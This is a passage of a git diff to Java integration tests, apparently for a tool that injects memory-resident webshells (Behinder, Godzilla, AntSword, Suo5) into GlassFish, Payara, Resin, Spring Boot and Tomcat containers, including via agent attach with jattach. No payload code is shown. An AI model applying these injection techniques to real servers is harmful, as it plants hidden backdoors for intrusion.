void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||
}
|
||||
}
|
||||
|
||||
+20
-4
@@ -17,8 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.glassfishPid;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
@@ -36,6 +36,8 @@ public class Payara520225ContainerTest {
|
||||
@Container
|
||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
@@ -49,6 +51,8 @@ public class Payara520225ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -57,6 +61,8 @@ public class Payara520225ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -64,7 +70,17 @@ public class Payara520225ContainerTest {
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize)
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -77,6 +93,6 @@ public class Payara520225ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||
}
|
||||
}
|
||||
|
||||
+11
-4
@@ -17,8 +17,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
@@ -36,6 +35,8 @@ public class Payara620222ContainerTest {
|
||||
@Container
|
||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warJakartaFile, "/usr/local/payara6/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
@@ -64,7 +65,13 @@ public class Payara620222ContainerTest {
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize)
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -77,6 +84,6 @@ public class Payara620222ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -51,6 +51,8 @@ public class Resin3116ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -59,6 +61,8 @@ public class Resin3116ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -67,6 +71,9 @@ public class Resin3116ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+7
@@ -51,6 +51,8 @@ public class Resin318ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -59,6 +61,8 @@ public class Resin318ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -67,6 +71,9 @@ public class Resin318ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+7
@@ -50,6 +50,8 @@ public class Resin4058ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -58,6 +60,8 @@ public class Resin4058ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -66,6 +70,9 @@ public class Resin4058ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+7
@@ -50,6 +50,8 @@ public class Resin4067ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -58,6 +60,8 @@ public class Resin4067ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -66,6 +70,9 @@ public class Resin4067ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+7
@@ -55,6 +55,9 @@ public class SpringBoot2ContainerTest {
|
||||
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.SpEL),
|
||||
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.Base64),
|
||||
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.AntSword, Packers.SpEL),
|
||||
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.AntSword, Packers.Base64),
|
||||
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.SpEL),
|
||||
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.Base64),
|
||||
@@ -67,6 +70,10 @@ public class SpringBoot2ContainerTest {
|
||||
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.SpEL),
|
||||
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.Base64),
|
||||
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.AntSword, Packers.SpEL),
|
||||
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.AntSword, Packers.Base64),
|
||||
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packers.AgentJar)
|
||||
|
||||
+13
-1
@@ -53,6 +53,9 @@ public class Tomcat5ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSPX),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSPX),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSPX),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
@@ -65,6 +68,9 @@ public class Tomcat5ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSPX),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSPX),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSPX),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
@@ -77,6 +83,9 @@ public class Tomcat5ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSPX),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSPX),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSPX),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
@@ -88,7 +97,10 @@ public class Tomcat5ContainerTest {
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSPX),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize)
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSPX),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize)
|
||||
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar)
|
||||
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
|
||||
|
||||
+10
@@ -50,6 +50,8 @@ public class Tomcat6ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -58,6 +60,8 @@ public class Tomcat6ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -66,6 +70,8 @@ public class Tomcat6ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -74,9 +80,13 @@ public class Tomcat6ContainerTest {
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
|
||||
|
||||
+10
@@ -50,6 +50,8 @@ public class Tomcat7ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -58,6 +60,8 @@ public class Tomcat7ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
